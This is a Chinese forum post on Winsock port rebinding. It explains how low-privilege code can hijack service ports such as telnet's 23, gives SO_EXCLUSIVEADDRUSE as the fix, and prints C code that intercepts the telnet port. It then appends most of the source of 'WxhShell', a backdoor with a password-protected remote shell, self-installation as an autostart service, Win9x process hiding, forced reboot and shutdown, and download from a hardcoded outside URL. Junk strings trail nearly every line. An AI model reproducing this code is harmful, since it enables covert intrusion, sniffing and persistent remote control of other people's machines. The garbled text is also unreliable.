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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #H~$^L   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2'W# x  
V{>;Z vj1R  
  saddr.sin_family = AF_INET; Rd;t}E$  
:si&A;k  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); tJtp1$h  
_N|A I"sj.  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); CUC]-]8  
&dw=jHt  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 nHXPEbq-g  
XD!}uDZ^  
  这意味着什么?意味着可以进行如下的攻击: 6=Q6J  
%O[1yZh \  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 "[z/\l8O  
+",`Mb  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ' MyJw*%b]  
X>yE<ni  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Mjl,/-0 w  
P$ b5o  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  'f %oL/,  
u0[O /G  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 v{1g`E  
kwS[,Qy\  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 XWz~*@ci  
R*ex!u60M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 0T$`;~  
v=uQ8_0~N  
  #include <0l:B ;3  
  #include 'rfs rZ?  
  #include <A\g*ld  
  #include    [5b[ztN%  
  DWORD WINAPI ClientThread(LPVOID lpParam);   K6~')9 Q  
  int main() #=m:>Q?%z  
  { x< d ew  
  WORD wVersionRequested; m<MN.R7  
  DWORD ret; %$_?%X0=t  
  WSADATA wsaData; rg%m   
  BOOL val; b4ke'gx  
  SOCKADDR_IN saddr; iN@|08  
  SOCKADDR_IN scaddr; 9/#b1NGv  
  int err; VF7H0XR/k5  
  SOCKET s; cIuCuh0I`  
  SOCKET sc; aH500  
  int caddsize; A>:31C  
  HANDLE mt; D2:ShyYAS  
  DWORD tid;   &Fmen;(  
  wVersionRequested = MAKEWORD( 2, 2 ); oye/tEMG  
  err = WSAStartup( wVersionRequested, &wsaData ); pG/g  
  if ( err != 0 ) { 7:.!R^5H  
  printf("error!WSAStartup failed!\n"); @$!"}xDR'  
  return -1; diw5h};W  
  } UyNP:q:  
  saddr.sin_family = AF_INET; lcoJ1+`C  
   VOmS>'$  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 `-rtU  
=D 5!Xq'|  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I =K<%.  
  saddr.sin_port = htons(23); U4e9[=q`'  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) iW? NxP  
  { 6SSrkj}U  
  printf("error!socket failed!\n"); rV I-Yb  
  return -1; ia-&?  
  } .Ag)/Xm(?  
  val = TRUE; J\I`#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 X=JAyxY  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Ti5"a<R4m6  
  { f%STkL)  
  printf("error!setsockopt failed!\n"); 00A2[gO9  
  return -1; *>j4tA{b@v  
  } DJNM =v  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; .-p?skm=a  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 w6k^|."  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ?kc,}/4  
-EU~ %/=m+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) m] IN-'  
  { b=Q%Jxz?  
  ret=GetLastError(); 3],[6%w  
  printf("error!bind failed!\n"); }/.b@`Dh;  
  return -1; (K> 4^E8  
  } Z9PG7h  
  listen(s,2); ob=IaZ@?  
  while(1) xTdh/}  
  { %XWb|-=  
  caddsize = sizeof(scaddr); Y<`uq'V  
  //接受连接请求 lem\P_V)  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); [ Q20c<,  
  if(sc!=INVALID_SOCKET) ("@ih]zYf  
  { e%&/K7I"?  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ,N5-(W  
  if(mt==NULL) 6imQjtI  
  { |Ns[{/  
  printf("Thread Creat Failed!\n"); ;jpsH?3g  
  break; Sc$]ar]S  
  } c5tCw3$t  
  } / CVhvK  
  CloseHandle(mt); C+c;UzbD  
  } `Jon^&^;|  
  closesocket(s); 9.$k^|~  
  WSACleanup(); k:kx=K5=4  
  return 0; /=ro$@  
  }   ZZ{:f+=?$  
  DWORD WINAPI ClientThread(LPVOID lpParam) #a"gW,/K  
  { m]:|j[!*M  
  SOCKET ss = (SOCKET)lpParam; wloQk(T<W  
  SOCKET sc; ?i7}d@636  
  unsigned char buf[4096]; f\gN+4)  
  SOCKADDR_IN saddr; M2e_)f:  
  long num; N!:&Xz  
  DWORD val; ( RCQbI  
  DWORD ret; F2RU7o'f.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 8!{F6DG  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Zb=H\#T  
  saddr.sin_family = AF_INET; s@vHU4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); E%6}p++  
  saddr.sin_port = htons(23); I= 'S).  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) k~ZE4^dM  
  { @'{m-?*  
  printf("error!socket failed!\n"); xA>O4S D  
  return -1; INj2B@_  
  } VdV18-ea  
  val = 100; nv^nq]4'Dq  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) t1)Qa(#]  
  { <Sx-Ca7  
  ret = GetLastError(); 1FiFP5  
  return -1; 8Yq_6  
  } CPCjY|w7   
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  Lx:O Dd  
  { +5:oW~ ;  
  ret = GetLastError(); !yQ#E2/A  
  return -1;  0"_FQv  
  } \]eB(&nq  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) nT.2HQ((Xg  
  { .Bu?=+O~  
  printf("error!socket connect failed!\n"); H_<X\(  
  closesocket(sc); fYuz39#*  
  closesocket(ss); N>S_Vgk}  
  return -1; S0 AaJty  
  } #sK:q&/G`  
  while(1) &v\  
  { e-dpk^-  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 mPy=,xYyC  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 CfoT$g  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ivKhzU+  
  num = recv(ss,buf,4096,0); &cEQ6('H  
  if(num>0) o0Y {k8  
  send(sc,buf,num,0);  1 U|IN=  
  else if(num==0) <TL!iM  
  break; qMrBTq[  
  num = recv(sc,buf,4096,0); mBC?Pg  
  if(num>0) 4ACL|RF)A  
  send(ss,buf,num,0); 478gl o  
  else if(num==0) Wu\{)g{&  
  break; M7|k"iz v  
  } [4u.*oL&  
  closesocket(ss); j`GL#J[wqQ  
  closesocket(sc); _<`j?$P  
  return 0 ; Bn 5]{Df  
  } GS %ACk  
b42"Y,sbB  
#-wtNM%1#  
========================================================== pDlU*&  
Gf(|?" H  
下边附上一个代码,,WXhSHELL K/+Y9JP9  
,U\F <$O  
========================================================== 3_:J`xX(4  
C 'YL9r-G  
#include "stdafx.h" &R\t<X9 n  
dD Qx[  
#include <stdio.h> @ j/UDM  
#include <string.h> [ &cCE   
#include <windows.h> Bg"KNg  
#include <winsock2.h> uTgvMkO  
#include <winsvc.h> .Du-~N4\  
#include <urlmon.h> o(=\FNe  
^XsIQz[q  
#pragma comment (lib, "Ws2_32.lib") 1$&(ei]*:  
#pragma comment (lib, "urlmon.lib") 5 *8 V4ca  
0}a="`p#<  
#define MAX_USER   100 // 最大客户端连接数 VM 3~W  
#define BUF_SOCK   200 // sock buffer ){u/v[O9"  
#define KEY_BUFF   255 // 输入 buffer q97Z .o  
O$=[m9V  
#define REBOOT     0   // 重启 v1s.j2T  
#define SHUTDOWN   1   // 关机 5%+M:B  
v{/z`J!JR  
#define DEF_PORT   5000 // 监听端口 `1AVw] k  
oCw>b]S  
#define REG_LEN     16   // 注册表键长度 #GTR}|Aga  
#define SVC_LEN     80   // NT服务名长度 x4$#x70?  
qhFWQ1W  
// 从dll定义API F/91Es  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 3#O R fr(  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Hs}3c R}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); h!k[]bt5  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); rD"$,-h  
k/ 6Qwb#  
// wxhshell配置信息 U3R;'80 f  
struct WSCFG { M0+xl+c+  
  int ws_port;         // 监听端口 us/}_r74N*  
  char ws_passstr[REG_LEN]; // 口令 nY]5pOF:  
  int ws_autoins;       // 安装标记, 1=yes 0=no %25GplMT  
  char ws_regname[REG_LEN]; // 注册表键名 `\}Ck1o  
  char ws_svcname[REG_LEN]; // 服务名 Rm i4ZPb.  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 <'{*6f@n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _h?hFs,N]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 uq.!{3)8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w"A.*8Iu  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" NNOemTh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 G1RUu-~+  
v[++"=< o8  
}; .paKV"LJ  
{WYJQKs8  
// default Wxhshell configuration DW@|H  
struct WSCFG wscfg={DEF_PORT, <D_UF1Pk  
    "xuhuanlingzhe", xaPaK-  
    1, Fv| )[>z0  
    "Wxhshell", n<GTc{>Z  
    "Wxhshell", t<F*ODn  
            "WxhShell Service", ^x BQ#p  
    "Wrsky Windows CmdShell Service", J~}%j.QQ7  
    "Please Input Your Password: ", bS1?I@  
  1, G\X}gqe(OJ  
  "http://www.wrsky.com/wxhshell.exe", *VuiEBG  
  "Wxhshell.exe" yi29+T7j4S  
    }; !R`E+G@   
IqA'Vz,lL  
// 消息定义模块 "j2th.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; rEoMj)~\4&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #YiphR&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; X[e:fW[e)  
char *msg_ws_ext="\n\rExit."; k1.h|&JJN  
char *msg_ws_end="\n\rQuit."; ij=_h_nA  
char *msg_ws_boot="\n\rReboot..."; yhuzjn  
char *msg_ws_poff="\n\rShutdown..."; (9]8r2|.  
char *msg_ws_down="\n\rSave to "; cF2!By3M  
io[>`@=  
char *msg_ws_err="\n\rErr!"; pO_$8=G+  
char *msg_ws_ok="\n\rOK!"; _HAtTW  
dvW2X  
char ExeFile[MAX_PATH]; * ^+]`S  
int nUser = 0; ~Y_5q)t(  
HANDLE handles[MAX_USER]; (:9=M5d  
int OsIsNt; # n_gry!5  
p.ks jD  
SERVICE_STATUS       serviceStatus; T4JG5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ZL7#44  
(i1q".  
// 函数声明 )wM881_!  
int Install(void); )8JfBzR  
int Uninstall(void); j=up7395  
int DownloadFile(char *sURL, SOCKET wsh);  >7$h  
int Boot(int flag); 9<|nJt  
void HideProc(void); nK8IW3fX9)  
int GetOsVer(void); sJ>JHv  
int Wxhshell(SOCKET wsl); hU~up a<dD  
void TalkWithClient(void *cs); !^x;4@Ejm  
int CmdShell(SOCKET sock); /* G-\|  
int StartFromService(void); A=f)ntH~  
int StartWxhshell(LPSTR lpCmdLine); 8+n *S$  
J5zKwt  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); tJa*(%Z?f  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); d1>L&3HKx  
.5E6 MF  
// 数据结构和表定义 H?4t\pSS  
SERVICE_TABLE_ENTRY DispatchTable[] = aInh?-  
{ aJzyEb  
{wscfg.ws_svcname, NTServiceMain}, +=Y$v2BZA3  
{NULL, NULL} q |Orv =v  
}; i4dy0jfN  
}I"k=>Ycns  
// 自我安装 "+Kp8n6  
int Install(void) 89YG `  
{ l|S_10x5  
  char svExeFile[MAX_PATH]; S^:7V[=EgI  
  HKEY key; G2s2i2& 6E  
  strcpy(svExeFile,ExeFile); w\}Q.$@  
Vwpy/5Hmp  
// 如果是win9x系统,修改注册表设为自启动 87-z=>IU  
if(!OsIsNt) { tL\L4>^7T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { A2%RcKY7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); AkEt=vI  
  RegCloseKey(key); YfUo=ku  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { c9ea%7o{0a  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rebWXz7  
  RegCloseKey(key); I~&*8)xM  
  return 0; 0/JTbf. CX  
    } -1%AM40j  
  } [N_)V kpr  
} &9 khIJI n  
else { 4Jk[X>I~  
jJK@i\bU_  
// 如果是NT以上系统,安装为系统服务 eEX*\1Gg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,xg(F0q  
if (schSCManager!=0) a\xf\$Ym  
{ iHk/#a  
  SC_HANDLE schService = CreateService T1A/>\Ns  
  ( F @uOXNz)  
  schSCManager, t]XF*fZH  
  wscfg.ws_svcname, }UWi[UgA  
  wscfg.ws_svcdisp, ,F?O} ijk  
  SERVICE_ALL_ACCESS, roNs~]6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , >8EmfjUoc  
  SERVICE_AUTO_START, e[g.&*!  
  SERVICE_ERROR_NORMAL, L[. )!c8k  
  svExeFile, FJIo] p  
  NULL, -"x25~k!?F  
  NULL, Kj6@=  
  NULL, n=%D}W  
  NULL, 3|vZ `}  
  NULL :Y[?@/m4  
  ); x-H R[{C  
  if (schService!=0) :pGgxO%q  
  { o(Q='kK  
  CloseServiceHandle(schService); 7DB!s@"  
  CloseServiceHandle(schSCManager); AfJ.SNE  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZWy,NN1  
  strcat(svExeFile,wscfg.ws_svcname); 1zIrU6H2;_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }EJ't io]  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I#:,!vjn  
  RegCloseKey(key); W-ol*S  
  return 0; ^e:rRk7 &  
    } rE4qPzL  
  } FSyeDC^@  
  CloseServiceHandle(schSCManager); OIrr'uNH  
} c3|/8  
} h 7*#;j  
8@BN6  
return 1; 'Q4V(.   
} =d1i<iw?-  
k4BiH5\hA  
// 自我卸载 V1\x.0Fs  
int Uninstall(void) ~w}Zv0  
{ Q=.j>aM+_  
  HKEY key; '-KrneZ!  
G FO(O  
if(!OsIsNt) { d;LBV<Z?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 4e9'yi  
  RegDeleteValue(key,wscfg.ws_regname); 5JA5:4aev  
  RegCloseKey(key); ~e R6[;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uJ>_ 2  
  RegDeleteValue(key,wscfg.ws_regname); mc}r15:<  
  RegCloseKey(key); MDh^ic5  
  return 0; =]hPX  
  } U\`H0'  
} \:d|'r8OCM  
} 2a[_^v $v  
else { 4I<U5@a  
pk2}]jx"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ^fbw0  
if (schSCManager!=0) 1F58 2 l  
{ +]NPxUa  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T0Zv.  
  if (schService!=0) 4f{(Scg  
  { E/N*n!sV  
  if(DeleteService(schService)!=0) { bx8|_K*^  
  CloseServiceHandle(schService); >aV Q  
  CloseServiceHandle(schSCManager); tx01*2]pX  
  return 0; ~pj/_@S@x  
  } ]U,f}T"e  
  CloseServiceHandle(schService); %$.]g  
  } =#ls<Zo:  
  CloseServiceHandle(schSCManager); Dt p\ T|)  
} YJEL'k<l  
} f;PvXq<7"  
;~5w`F)  
return 1; |XdkJv]  
} v3{[rK}  
FD*w4U5  
// 从指定url下载文件 TWFi.w4pY  
int DownloadFile(char *sURL, SOCKET wsh) G~;hD-D~.  
{ p4-bD_  
  HRESULT hr; h% T$m_  
char seps[]= "/"; T2V# fYCc  
char *token; PgYq=|]`  
char *file; }R -azN;  
char myURL[MAX_PATH]; eTp}*'$p  
char myFILE[MAX_PATH]; HX]pcX^K  
b#<@&0KE  
strcpy(myURL,sURL); 8=h$6=1S  
  token=strtok(myURL,seps); Ie%twc  
  while(token!=NULL) C3 m#v[+  
  { 8+7=yN(  
    file=token; NhDM h8=$^  
  token=strtok(NULL,seps); u LXV,  
  } z a^s%^:yK  
}4n?k'_s?  
GetCurrentDirectory(MAX_PATH,myFILE); + ^9;<>P  
strcat(myFILE, "\\"); O]Mz1 ev|  
strcat(myFILE, file); n xc35  
  send(wsh,myFILE,strlen(myFILE),0); -UM5&R+o  
send(wsh,"...",3,0); `RG_FS"v  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); V\V:uo(C  
  if(hr==S_OK) J0hY~B~X  
return 0; dU~DlaEy(  
else `Oc`I9  
return 1; `jur`^S|  
Gv};mkX[N  
} }m~2[5q%/  
\5wC&|WEB  
// 系统电源模块 +I?T|Iin  
int Boot(int flag) I=,u7w`m  
{ \y%:[g}Fvw  
  HANDLE hToken; f V|Zh  
  TOKEN_PRIVILEGES tkp; sH>Z{xjr  
+r+H`cT@  
  if(OsIsNt) { [We(0wF[`  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); :X`Bc"  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); +P~E54  
    tkp.PrivilegeCount = 1; B(GcPDj(K  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Y(D@B|"'m  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ]g/% w3G  
if(flag==REBOOT) { 7b2N'^z}  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 9 xvE?8;M#  
  return 0; i8`&XGEd  
} o 6$Q>g`]  
else { |xTf:@hgHf  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `3$S^|v  
  return 0; wNuS'P_(:T  
} $?OuY*ZeY9  
  } U+!H/R)(  
  else { k MS[   
if(flag==REBOOT) { x0])&':!  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w@P c7$EP  
  return 0; 4=H/-v'&  
} f.gkGwNk  
else { =W9;rQm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LDL#*g  
  return 0; x@I@7Pvo3  
} *R*Tmo"  
} Ml)Xq-&wc  
?Rl?Pp=>  
return 1; 877>=Tp |  
} ,=tVa])  
$4V ~hI 4  
// win9x进程隐藏模块 BZqb o`9  
void HideProc(void) =>6Z"LD(  
{ %}G:R !4 d  
" [=Ee[/  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); GA6)O-^G  
  if ( hKernel != NULL ) c@{,&,vsj  
  { $-VW)~Sl  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Vkex&?>v$  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); RIUJ20PfYQ  
    FreeLibrary(hKernel); u>(s .4]+  
  } l[ ^bo/  
Nuk\8C  
return; _OTkv6;4n  
} =o=)EU{~  
\O?#gW\tR  
// 获取操作系统版本 p&bQ_XOH  
int GetOsVer(void) &hs)}uM&$  
{ Y 3[<  
  OSVERSIONINFO winfo; ~s{$&N  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hu x#v>e  
  GetVersionEx(&winfo); c0Jf  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #hzs,tvvD  
  return 1; 1K,bmb xRt  
  else ?S!lX[#v  
  return 0; v}-'L#6  
} 9F k wtF  
ms3Ec`i9  
// 客户端句柄模块 \J0gzi.  
int Wxhshell(SOCKET wsl) hdN3r{  
{ cX1"<fD o  
  SOCKET wsh; U,Z.MP Q  
  struct sockaddr_in client; 1k l4X3q6  
  DWORD myID; Oa7`Y`6  
fCZbIt)Eh  
  while(nUser<MAX_USER) blaxUP:  
{ n?aogdK$V  
  int nSize=sizeof(client); 2hf]XV\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `-Gs*#(/  
  if(wsh==INVALID_SOCKET) return 1; ImklM7A  
?mRU9VY  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +t/ VF(!  
if(handles[nUser]==0) y"!+Fus9  
  closesocket(wsh); X"8Jk 4y  
else  UX2`x9  
  nUser++; !=cW+=1  
  } Vjj30f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); .knRH^  
&^qD<eZ!Eq  
  return 0; `6 lc]r  
} 1>57rx"l  
33[2$FBf  
// 关闭 socket (EuHQ &<^9  
void CloseIt(SOCKET wsh) $+S'Boo   
{ Aq QArSu,  
closesocket(wsh); 3boINmX  
nUser--; "+&|$*  
ExitThread(0); Gnj|y?'  
} qN}0$x>p  
sqJ?dIBH  
// 客户端请求句柄 2HkP$;lED  
void TalkWithClient(void *cs) '(&.[Pk:"  
{ M*8Ef^-U`t  
<d$|~qS_  
  SOCKET wsh=(SOCKET)cs; Bz9!a k~4  
  char pwd[SVC_LEN]; hUB _[#8#  
  char cmd[KEY_BUFF]; Z!~~6Sq  
char chr[1]; 0j7\.aaK  
int i,j; >UZfi u  
uUwwR(R  
  while (nUser < MAX_USER) { )@\= pE.H  
O|?>rK  
if(wscfg.ws_passstr) { qL,!  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); !m' lOz  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); @lDoMm,m'  
  //ZeroMemory(pwd,KEY_BUFF); wC`])z}bT  
      i=0; m+"?;;s  
  while(i<SVC_LEN) { l`~*" 4|/  
qx5.LiF  
  // 设置超时 xQ^zX7  
  fd_set FdRead; @iS(P u  
  struct timeval TimeOut; bh3}[O,L A  
  FD_ZERO(&FdRead); LylB3BM  
  FD_SET(wsh,&FdRead); V[5-A $ft  
  TimeOut.tv_sec=8; hcWkAR  
  TimeOut.tv_usec=0; &^{HD }/{b  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); =UM30 P/  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +I;b,p  
uqXvN'Jr  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); jL6u#0  
  pwd=chr[0]; 25::z9i  
  if(chr[0]==0xd || chr[0]==0xa) { tTLD6#  
  pwd=0; 4T{+R{_Y1  
  break; >hJ$~4?  
  } m5v9:5{  
  i++; vjhd|  
    }  -*_D!  
?76Wg::  
  // 如果是非法用户,关闭 socket nws '%MK)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h*Rh:yCR>  
} 2+s_*zM-  
<_dyUiT$J  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); p&>*bF,  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); dpDVEEs84  
`|X E B  
while(1) { 1y2D]h/'  
9gZMfP  
  ZeroMemory(cmd,KEY_BUFF); 2%m H  
aEo!yea  
      // 自动支持客户端 telnet标准   AE={P*g  
  j=0; =!w5%|r.  
  while(j<KEY_BUFF) { h3Nwxj~E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .{1G"(z  
  cmd[j]=chr[0]; 1XSA3;ZEc  
  if(chr[0]==0xa || chr[0]==0xd) { Z3g6 ?2w6  
  cmd[j]=0; 5x(`z   
  break; 5Q#;4  
  } ?l! L )!2  
  j++; # =V%S 2~  
    } r Lg(J|^  
MUhC6s\F  
  // 下载文件 )@09Y_9r  
  if(strstr(cmd,"http://")) { D>+&= 5{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (%}T\~`1z#  
  if(DownloadFile(cmd,wsh)) 4EQ7OGU  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); <W~5;m  
  else L-hK(W!8pt  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WPygmti}Be  
  } IfzHe8>  
  else { lTY%,s  
)xX(Et6+`  
    switch(cmd[0]) { 6F6[w?   
  F1J Sf&8  
  // 帮助 r(h&=&T6  
  case '?': { %_0,z`f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); M[}EVt~  
    break; w$n\`rQ  
  } +-&N<U  
  // 安装 A%> Ir`I  
  case 'i': { /=w9bUj5v  
    if(Install()) L+LxS|S+M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); i>HipD,TD  
    else pJrc\`D  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >^LVj[.1  
    break; * t6 XU  
    } F, Y@  
  // 卸载 b#bdz1@s  
  case 'r': { YLmzMD>  
    if(Uninstall()) #DApdD9M  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j}uFp|df<  
    else o90SXa&l/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); s\i=-`  
    break; :*gYzk8  
    } ZHUA M59bx  
  // 显示 wxhshell 所在路径 Xt~`EN  
  case 'p': { |};]^5s9  
    char svExeFile[MAX_PATH]; nv1'iSEeOl  
    strcpy(svExeFile,"\n\r"); 2  *IF  
      strcat(svExeFile,ExeFile); M[$(Pu  
        send(wsh,svExeFile,strlen(svExeFile),0); }^Be^a<ub  
    break; CnruaN@  
    } }$!bD  
  // 重启 Yr@_X  
  case 'b': { 6NH.!}"G9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <8Ek-aNNt  
    if(Boot(REBOOT)) G3n* bv  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1RM;"b/  
    else { ot]eaad  
    closesocket(wsh); ^0"NcOzzxl  
    ExitThread(0); O&l(`*P  
    } TJ[C,ic=D  
    break; t5mI)u  
    } ?(Q" y\  
  // 关机 r7Bv?M^!  
  case 'd': { \s?OvqI:  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s^ rO I~  
